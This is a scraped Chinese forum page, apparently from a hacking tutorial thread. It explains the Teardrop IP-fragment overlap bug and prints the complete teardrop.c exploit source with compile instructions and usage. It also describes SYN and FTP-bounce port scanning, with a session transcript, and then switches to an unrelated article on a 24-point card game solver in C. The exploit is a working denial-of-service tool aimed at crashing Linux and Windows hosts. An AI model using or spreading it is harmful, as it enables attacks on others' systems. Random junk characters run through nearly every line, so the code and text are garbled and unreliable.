answer = ~sum;' N( F  C; |0 x2 |, _' H
return(answer);
$ k* j) @1 v6 g; \}</P><P>
8 U7 B/ d. p. |2 N+ x1 C: ]3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
5 h2 Q( R7 q! t; }fp = qp-&gt;fragments;
1 _9 c" T4 r; B. I/ N1 h9 Qwhile(fp != NULL)% ^/ b1 |4 W! a2 A; L1 F7 \% U" R, o
{
. O" ~/ T2 j; E" jif(count+fp-&gt;len &gt; skb-&gt;len)
0 A4 }$ @, x8 ?) o3 w5 n. D4 D: h{8 g7 M9 Q2 M. v0 i" @
error_to_big;
+ h) ]* `# e7 a9 `  I( u5 o+ n}
- A1 _' g2 B4 X+ \  @' Ememcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
+ h* f: m* w# V6 @8 j7 _' R+ C9 b: f) ucount += fp-&gt;len;# K- L7 n+ w1 Z, \0 x
fp = fp-&gt;next;7 ~  S. e6 ~! q* R
}
% E  o8 v" U4 a; w- `& |这里只检查了长度过大的情况,而没有考虑长度过小的情况,
$ p9 N* n9 T1 _5 C如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:+ ^  u! f$ e* M/ R, ]! N2 u
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的), X+ @5 F$ D9 f
是这样处理的:
5 c9 I5 w+ T! G5 \if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)% b8 o( p0 z5 V# m! o
{
3 \* F9 u& j7 K: o6 Q2 F" wi = prev-&gt;end - offset;5 E9 i2 g2 n: n. @( ~+ r' G
offset += i; /* ptr into datagram */
7 b3 V! X5 o  V& t& s; ^ptr += i; /* ptr into fragment data */
& ?* [' w8 S) q$ W}</P><P>/* Fill in the structure. */
: Q2 z  E0 _/ y( b  r3 s5 d7 R! {4 Hfp-&gt;offset = offset;9 B. A: @$ n9 }) `9 q9 e% f+ U
fp-&gt;end = end;
4 a& N* O3 i0 q) q" `fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:, I) K3 v$ _5 r1 Z: X  ~, P
第一个碎片:mf=1 offset=0 payload=20+ X9 R9 a9 t1 Y" d
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 + ?0 v  _6 E# V' [7 @/ y
offset=0, ]: }( k% y9 I6 x5 ]$ E/ v! z, j$ y
这样第二个碎片的 end=9+10=19
( i) v- }& f; h/ }$ foffset=offset+(20-offset)=206 b: c& S. G5 ]
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>2 F, Y3 h1 v1 d
/*
9 n" J7 j; N/ x* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
& m  M# Z. y0 \1 P; m. _/ {1 i*
6 `9 x9 K! {7 n1 D* Linux/NT/95 Overlap frag bug exploit
% O' e5 h  A, q" a% j* _# P*+ O0 w' ~# e: m7 F! r
* Exploits the overlapping IP fragment bug present in all Linux kernels and1 Q. f8 O( R% m: N$ X% I/ {+ ?6 M
* NT 4.0 / Windows 95 (others?), b$ W5 O6 C- j' X) M, F( d7 ~% E
*8 R4 X* e4 ^  E6 M
* Based off of: flip.c by klepto
+ D" _! U6 q# X" |+ _3 _* Compiles on: Linux, *BSD*+ n( |7 y& r& G3 v# N, a& v
*
) i1 d5 W- M( P* gcc -O2 teardrop.c -o teardrop, n/ N% ?, \, b) v+ P
* OR
4 Z# N- M7 s0 X0 ]# g. Z( G* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
: x/ i" K9 @. C4 H* Z8 s3 j*/</P><P>#include <STDIO.H>
% l, g5 q' n# [9 \4 C#include <STDLIB.H>& a/ G& P9 b2 o; B
#include <UNISTD.H>
+ T  E0 b8 z6 J#include <STRING.H>' w( |1 Y" r! \, `
#include <NETDB.H>
2 g9 C! ^) x/ F# {. P9 q, y#include <NETINET in.h>
6 u5 `4 s/ X+ }- a; x) Y#include <NETINET udp.h>8 k) _6 F, x& F% v1 _% z
#include <ARPA inet.h>0 n3 P- K! _; M7 `6 J" M. Y8 V, o
#include <SYS types.h># j; `* ?: q3 S
#include <SYS time.h>5 \! `9 f, o; S2 Z* j6 c$ _
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING' I8 K& I" Q% k9 S/ @8 t- p
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 *// |! u0 Z7 a* U, s
#define FIX(n) (n)
& _3 p0 w& ?4 t) w#else /* OpenBSD 2.1, all Linux */& q* \% D4 b* c' P0 T  R
#define FIX(n) htons(n)
  y$ t, G# l( j* `#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
1 x7 a( T& _2 J3 S) a; w; `#define IPH 0x14 /* IP header size */
+ B2 H. ?' E! d' W; z7 K" B#define UDPH 0x8 /* UDP header size */2 g$ Q9 f- X& Y( Y9 u
#define PADDING 0x1c /* datagram frame padding for first packet */! g: Y  A% b" z1 A  R0 B$ y
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */4 C) _. H1 B; w
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can6 {5 w. B+ z% i' j
* withstand maybe 5 or 10 sometimes... Experiment.6 B" p/ N& I! J, C* u
*/</P><P>void usage(u_char *);
5 [5 ~0 S* r) a3 }u_long name_resolve(u_char *);
, z: a# J9 b3 Z- }2 ]& r# E( Tu_short in_cksum(u_short *, int);
7 ~, j5 G2 G; Z% ^void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)! D9 Q) A( h; d2 d& n5 b
{
0 d% ?' e: M3 iint one = 1, . t: b0 W( d: Y
count = 0,
5 P- [7 ~- e# W0 Y5 a3 `i,
$ H2 y) |: m( p( |# P, drip_sock;
. h( a2 }  `2 f; t" C- s* ju_long src_ip = 0, dst_ip = 0;
) @1 b, J" P! d5 b8 J9 cu_short src_prt = 0, dst_prt = 0;) F) ]' j2 n. P8 Y! U: U- G" X7 L
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
# C5 y9 [" G; Q; \, pif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)4 J3 J# ?+ X6 }/ z9 O
{6 q9 A6 X" a5 Z4 N5 j- p" p
perror("raw socket");
# n4 I  u1 h0 g8 Y1 ]/ Texit(1);
1 L) k# M' K( e) C5 k- Z}
) n; x4 w- t7 J% p/ }% F//由系统处理IP校验和。
9 T' e4 u/ h+ {/ d6 Dif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))( w( D$ a6 [5 O- b5 P- [
&lt; 0)
/ O, a% }+ `# Y  O& f{2 n) T8 b* d+ z. g# O
perror("IP_HDRINCL");3 }& E. _. w  q
exit(1);
) |! a. P  u9 b+ s}</P><P>if (argc &lt; 3) usage(argv[0]);. p# a( w" T/ y: S" s' c% n, I; A, U0 D
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
7 j# `/ v. N7 R9 X; D, Z{
8 @; Y" j- D1 M3 x' `fprintf(stderr, "What the hell kind of IP address is that?\n");
: A$ u$ V% K1 B: [) T4 a5 ]exit(1);6 l7 q6 `+ ?- j
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
$ X& U, E) T9 P8 {{' i- Q9 O1 p, q; u
switch (i)( {+ C$ J# a( r" ~' P( D
{
3 B. W* z$ A" m& Hcase 's': /* source port (should be emphemeral) */
' S0 l: a3 D$ ~9 y* ~( g: o. Nsrc_prt = (u_short)atoi(optarg);
4 Q" U4 y9 m+ zbreak;) I( \2 F8 B9 I8 i
case 't': /* dest port (DNS, anyone?) */
0 `' U# v/ f( gdst_prt = (u_short)atoi(optarg);. O2 I5 F0 X; o3 d$ l( S+ _& ]- i
break;/ @+ H; I  l" K5 Q
case 'n': /* number to send */$ X; _& f1 V: g& e
count = atoi(optarg);& d* Z; x" w, C5 i
break;; s  T2 f4 o( e
default :% y, T* @. Q( o1 S8 E$ b
usage(argv[0]);
* R; r  l" K/ Lbreak; /* NOTREACHED */
  ]) X6 z, _8 O" ~9 j) s! H- @, ^6 R}
, X- `6 a5 k9 G3 g}</P><P>srandom((unsigned)(time((time_t)0)));
0 i6 N/ N: H! w& L4 Z+ p2 I- rif (!src_prt) src_prt = (random() % 0xffff);  t0 [+ ~4 {# g% h1 D
if (!dst_prt) dst_prt = (random() % 0xffff);, K* N  N) z3 \- M
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");6 S- n- E# @" u4 v2 b
addr.s_addr = src_ip;, m  S* q3 z* T' V
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);* y. a2 I- {4 j: I. m
addr.s_addr = dst_ip;
' C6 A# E3 _  S( |fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);$ O; M6 t% [# ]* y, [5 t
fprintf(stderr, " Amt: %5d\n", count);6 K1 X! m' G  j& \
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
1 D+ h7 j% ~8 c7 K$ U{
3 @- x  _( `" {5 u+ gsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
5 ^  i( W) v$ L. d* \3 cfprintf(stderr, "b00m ");
0 Q4 r* V0 w$ Y) \0 Vusleep(500);
3 {4 p- `- A8 S: Z7 F}. V* x. C4 r! S7 {, y
fprintf(stderr, "]\n");
# ^4 `/ C. \; k' t# ~5 Z9 lreturn (0);; l& ^; v% \7 R1 ?
}</P><P>/*% x% a1 ?* D# u- y/ g
* Send two IP fragments with pathological offsets. We use an implementation
3 p: n1 e: |3 O6 Z+ f# C* independent way of assembling network packets that does not rely on any of
. `3 U( U  Q0 B) V1 [* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
$ |! n6 e  [6 }*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
+ M- o% {1 \( [4 G  q( Ju_short dst_prt)
. o- e2 ^# F7 Q- f8 c( j& x{
4 E- J$ {+ a  b) ju_char *packet = NULL, *p_ptr = NULL; /* packet pointers */! U3 i2 \; r; J. s
u_char byte; /* a byte */- v, V& w7 b( X# x
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
7 C0 z# N0 D$ nsin.sin_port = src_prt;
( ~2 n. y9 s* csin.sin_addr.s_addr = dst_ip;</P><P>/*
; V! r2 {0 p4 M+ x! f/ s$ P6 I- H: w* Grab some memory for our packet, align p_ptr to point at the beginning3 q# J1 M" X: f+ L- P. D
* of our packet, and then fill it with zeros.
) n9 @, u1 U! F9 [, F( y*/
( {4 v1 ~# i7 m7 l+ D. e4 npacket = (u_char *)malloc(IPH + UDPH + PADDING);( j; E% N  ?# z4 u
p_ptr = packet;9 h) ?$ H! U. x% O! f; i7 k
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */8 i. O5 o. L( T: ?7 y/ a
memcpy(p_ptr, &amp;byte, sizeof(u_char));
! T; V5 G; @2 P' Mp_ptr += 2; /* IP TOS (skipped) */
% _  C+ }, t# f+ A*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
) `" m! |. z2 E) w5 Jp_ptr += 2;. D0 X" L8 \% E+ E
*((u_short *)p_ptr) = htons(242); /* IP id */% ~* h! L3 I6 I1 G! _3 ?$ S1 F
p_ptr += 2;
( C# C6 `* v2 i! a# {*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */# r9 J, v' ~9 `5 o9 q( `) B
p_ptr += 2;  |& a3 s  @, }% k1 U  n
*((u_short *)p_ptr) = 0x40; /* IP TTL */) O6 |9 Q5 j, Y* s$ N( b  m
byte = IPPROTO_UDP;. o4 }) \% J2 f- }
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
" r9 I, w# C7 T; j; np_ptr += 4; /* IP checksum filled in by kernel */( a2 I5 d) Z+ d0 y( f; ~1 B: }
*((u_long *)p_ptr) = src_ip; /* IP source address */
# @- Q! c- P0 Xp_ptr += 4;
1 F' x: F4 s  |' f4 s1 W, @*((u_long *)p_ptr) = dst_ip; /* IP destination address */6 o1 _6 t2 d4 s! ]7 @( Y; ]
p_ptr += 4;2 P! F  H0 M  `0 h8 v. |" d/ v# m
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */  M- f$ m' i0 r& H/ V' K0 N! |
p_ptr += 2;! H' g' w% j5 ]! e
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
& |5 Q7 y9 I  h& V1 gp_ptr += 2;
) g! y+ D9 r; n! B$ k*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
' }- p5 ]1 o0 R/ n7 C0 P, rsizeof(struct sockaddr)) == -1), z2 F6 \7 Q$ A8 o( h) r: E0 T2 [) q
{
' [4 R: A" `8 T4 f% P6 Hperror("\nsendto");* N0 ~% A/ a/ S9 I/ V; J
free(packet);
! s/ s  e' Y( T1 D1 q/ O/ mexit(1);5 a" I3 o, }) [# P
}</P><P>/* We set the fragment offset to be inside of the previous packet's
+ j1 T5 N, M. B- q. C* payload (it overlaps inside the previous packet) but do not include
5 d. @4 v" [  D$ F* enough payload to cover complete the datagram. Just the header will4 T# Y8 K7 \. q% T
* do, but to crash NT/95 machines, a bit larger of packet seems to work
, J. ?( I# t* y, `* r5 s8 K* better.1 a" O  {% k4 d3 E: }
*/$ N6 g$ U9 _1 R% \0 U
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
- ^! D: N4 O+ Q*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
- x. N( v; B7 b( G( Q3 o. Lp_ptr += 4; /* IP offset is 6 bytes into the header */# Q. Q, Q/ G8 F- A
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
' e& B/ d# [+ A, f& L3 c3 G0 Jsizeof(struct sockaddr)) == -1)- O8 k9 ^+ _( T; O
{
* W; q6 a- ~# q9 L8 p1 A, Vperror("\nsendto");  o) d# {9 c" ]0 S1 V
free(packet);- f! q9 \. R' N% J  U1 Y$ ^
exit(1);
; W5 l# Z+ N. d) X8 R& a: L, s}
( z1 f( [2 Z3 f6 a+ C8 cfree(packet);, S& Q! `4 k7 }, Q3 o. }( C  D3 w; X
}</P><P>u_long name_resolve(u_char *host_name)
$ k  ?# ?! k- O4 Q# f) F! N{
5 N  E  K& W7 V/ hstruct in_addr addr;8 \& E" l* ~8 E. n) G# Z8 }* l
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
1 s: }! H5 U7 N5 P9 U# V{
& Z% m" x0 z& s/ s) l& ^if (!(host_ent = gethostbyname(host_name))) return (0);
. X! u/ y6 Z. w9 U4 h# rbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);  q/ i( Q( k$ c
}, I( O+ J* Z) V" {: I
return (addr.s_addr);
1 g* x( n& Q/ L3 ~4 i& w7 m0 A}</P><P>void usage(u_char *name)
: s; A1 n2 m% b) e{
. j% D1 d7 T2 ufprintf(stderr,
, v: j2 p7 V; q0 G8 A9 Z6 X  ~"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",$ `; K' `5 N4 |9 F
name);5 \! V6 r0 I- x; W. ~
exit(0);+ M! W2 w: `. I5 @6 \
}</P><P>( n3 t: |* ?3 i# ^" b- `' j
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
7 @7 @1 [- }% F, U3 z' D$ r(1) Half-open(半打开)$ q; g6 o. \7 x
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
: g/ H5 f; w0 Q& V如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner5 _) R# F( E. B* T
利用了FTP的port命令,例如可以这样作:
3 i) h7 `( I5 }! w) ^% {: ^- E/ E选择一个FTP服务器,连上后令port命令指向目标机,如果返回
- I* v; I- b8 J+ K) x) _值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
, H& T( E* H0 \, q& v7 l该端口无服务。
. w' _8 |* |# D/ vtelnet 192.168.1.13 216 Q6 |2 j; I; S: }$ E; E/ H
Trying 192.168.1.13...- L. W7 K  h5 R. e4 C+ D
Connected to pp.bricks.org.) ?3 a4 r! ^7 m5 K( {. Y- D; v3 d
Escape character is '^]'.
; {& ]6 v$ W9 k5 q2 ~9 L# {2 m220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) * x# y: b) `; e( U- |
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous6 C4 N$ b% y6 m% U2 n: @# p; v
331 Guest login ok, send your complete e-mail address as password.0 T1 y3 o) \: R' I
pass aa@aa.aa0 o- ?6 V* N5 ^9 d( U$ l
230 Guest login ok, access restrictions apply.
/ k; o# v5 |) P, U4 U# ~port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.$ x  x# i" D/ K" g
425 Can't build data connection: Connection refused.& z* @6 H% f$ A  P2 z. j+ H4 A  |
//该端口未活动 6 H! H% l1 I( }; S6 u# M
150 Opening ASCII mode data connection for file list.
  f; D, L; ^. {8 r226 Transfer complete.
+ [3 \! l! |- X$ @: J( b//该端口活动中) M( U& F! d- o% T# W/ k( m- o( R
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
4 V1 i, [' a% r  ?- \3 `6 J2 D8 DSYN|FIN ACK or SYN|ACK* RST
) w" h! i+ N# {* g2 }ACK Nothing RST
9 o# C$ h0 T, u1 `; G; c3 \0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport( D; \1 H" p( [+ d% W! N+ V
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
/ M/ g1 q0 T4 P/ z# s若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认% P$ _! i% b# j1 W. G  N6 v. q
定它在向你做portscan。</P><P>notes:
( u$ @6 ^+ v7 Z. a% W2 f- p  l早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
  i* |' J. @8 B6 }4 m  G而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
" A1 o0 R3 v1 W, L都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
; H3 C% g' a; j6 Z! X" q  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。" M4 y; Z1 x! h

- G; s7 |/ d8 f0 b2 ~* i  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
: u+ r) A' j: A; k2 Z首先穷举的可行性问题。我把表达式如下分成三类——
# o! q  L* l# B<FONT color=#ff0000>1、 无括号的简单表达式。
; G" ~/ c* O% f$ \/ e2、 有一个括号的简单表达式。# q2 s5 b6 T# U% p
3、 有两个括号的较复4、 杂表达式。
) A4 P0 S) j/ P& G4 P9 l</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:# S9 h: J4 O6 @
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */, `1 {. [" A, X' L* g& V7 E
/* c[] 存放四张牌的数组 */
" N+ e: M2 t8 {" ]: m9 b" p/* k[] c[]种四张牌的代号,其中k[I]=I+1。$ c+ J6 n- D2 \6 p
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
9 R+ F9 k$ {. d* `/* kans[] 暂存生成的排列组合 */" k* t+ n* ~3 S4 p8 J* u
/* j 嵌套循环的次数 */0 X2 ]2 O  h: g; ^. ?! y) ?
int fans(c,k,ans,kans,j)
5 _2 G; m/ G+ U' c, D. e$ O; l. B! rint j,k[],c[];char ans[],kans[];( t- c# }! u! ?' ~' L8 H- M8 h
{ int i,p,q,r,h,flag,s[4],t[4][4];' Y; E* t$ T1 p% i! H
for(p=0,q=0;p&lt;4;p++); [; p" c4 D" t" f' \+ A
{ for(r=0,flag=0;r<J;R++)+ T6 Z  j5 K- w2 X+ O7 K* c# H" e
if(k[p]!=kans[r]) flag++;6 W) G! U% r' Q& C% p
if(flag==j) t[j][q++]=k[p];0 j: y! `2 x. z  u  b) _& D
}  J  I6 f3 o- q% U8 B3 v
for(s[j]=0;s[j]&lt;4-j;s[j]++)
$ `+ D0 L$ D/ c9 n5 \6 h$ g{ kans[j]=t[j][s[j]];/ J( b5 G' H3 h0 O
if(j==3) { for(h=0;h&lt;4;h++)  a8 X4 _1 G, z
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
( h* l" D( l5 j达式中的位置 */
& Q) n0 F6 M. M# K# n) g- |for(h=0;h&lt;3;h++)2 q; T, R- O$ m. R  e' w2 W' B5 Z
symbol(ans,h); /* 在表达式中添加运算符号 */
$ s( }5 N" r* {" M' q( g}
0 Q# D7 g; o* C' g" K& r- t$ Felse { j++;
" v0 A* Z0 t8 {fans(c,k,ans,kans,j);
# C! X) j! l0 u, e5 f0 D& S: w3 L$ _* qj--;: O! J$ ~( c- T/ S0 p8 w% d
}; I) P9 J) n8 O* e, P
}* x( }) [% [& [
}</FONT>+ W' k5 T- c* u8 c9 ^. V
5 ^9 h( \; X/ s+ h$ w$ U" x# |
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:) e, W: N  k8 b1 }

  Q$ U# R3 x" }# S6 C4 I" o<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/* ?& [/ b' o( c% }9 ~( O9 t
int sans(ans,sy,j,h)
: @0 |  y% c2 B7 O5 Pchar ans[],sy[];int j,h;" i. q" }: B) D' J" J; a. Y
{ int i,p,k[3],m,n; char ktans[20];
+ [; j9 v2 [  L# M6 \  d; wfor(k[j]=0;k[j]&lt;4;k[j]++)
9 C! R2 }3 c  C# ~{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位+ a' X: y& n# k* K7 V' i% j
这里的三个运算符号分别存放在1、3、5位*/
( _" b1 l. \$ r5 A* \0 c+ K/ Gif(j==2)
9 ]6 K' n# h6 [" Q/ A" T7 @2 P$ a{ ans[5]=sy[k[j]];: ~5 v: ~, g: q) l/ B. s4 j  Y3 ~
/* 此处根据不同的表达式形式再进行相应的处理 */
4 l2 j3 R" ?5 O! R8 D1 y}& E4 j7 @# A' l- |
else { j++; sans(ans,sy,j--,h); }
% O( Q3 [8 P. h/ n* f. M8 ~7 N}
5 A) c0 Q! n, e8 |7 F}+ {5 g! d' x  s& H5 q, T# n
. V3 x, U# k& Q; c- Y% [$ R; [
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。) u" p5 M4 U" K
for(m=0;m&lt;=4;m+=2): ^( C& {6 ^1 U( O% s0 `" o- `
for(n=m+4;n&lt;=8;n+=2)
" _! e4 b; Z5 G  M  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。7 V8 h. b5 Z" P* K! n: O) J8 u
$ I( Z+ v/ N) T& _9 S: m
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。6 o- F* P- `+ H: j2 p$ z, O
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。4 |( B( N* k, Y4 _) Y
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。8 y: W; W% F6 E9 C

! Y6 Z! K" k  H$ n" @  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。5 n! [7 ]6 e& A4 G" `( @. G. L

  m' d4 u$ ~1 |* |! {8 I' I  }; O  那么作为栈的著名应用,表达式的计算可以有两种方法。
  i7 ^6 P/ L9 m% t. Z- B% {: K+ j( ^
  <FONT color=#ff0000>第一种方法——</FONT>$ y" v- j0 N1 @# d
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。! W, F- R' K3 a0 G
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:# J/ K: O/ `# D1 H; R8 }1 m6 g+ }  p
1、 若W为操作数8 `8 F% a, h$ ]! T3 s
2、 则将W压入操作数栈OVS
$ {7 x) f8 O( r: N6 z3、 且继续扫描下一个字符: c% U; Q; L, N: ]* r6 }# U
4、 若W为运算符* `) t; d, Y* b( d6 _1 c5 k! y; K
5、 则根据运算符的性质做相应的处理:! `/ ^! l1 H; G7 ~/ P
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。. E4 i' _3 h0 i! t5 A
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
, d; t, Q1 D6 P(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
( p+ A( @" N7 K3 v2 A(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
4 y4 g, K8 }/ T1 K! _! J; T: i6 Q/ _0 X8 D* H
<FONT color=#ff0000>  第二种方法——</FONT>7 x# H$ V2 t- q) [6 G# b0 R+ _0 s
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
4 M0 F+ M4 J& U! p0 a& ]# r- T. z9 r" g4 ?* }
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
8 T8 z( C2 ^1 d2 L" ~: Q2 D2 H0 s! W5 {" C$ X7 a1 @2 `( F1 y& t. p
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。. F+ f& A3 w9 R
表达式 波兰表达式
7 o& @3 J6 K, V) \/ iA-B AB-
$ c, [; J! c' _3 O! L(A-B)*C+D AB-C*D+
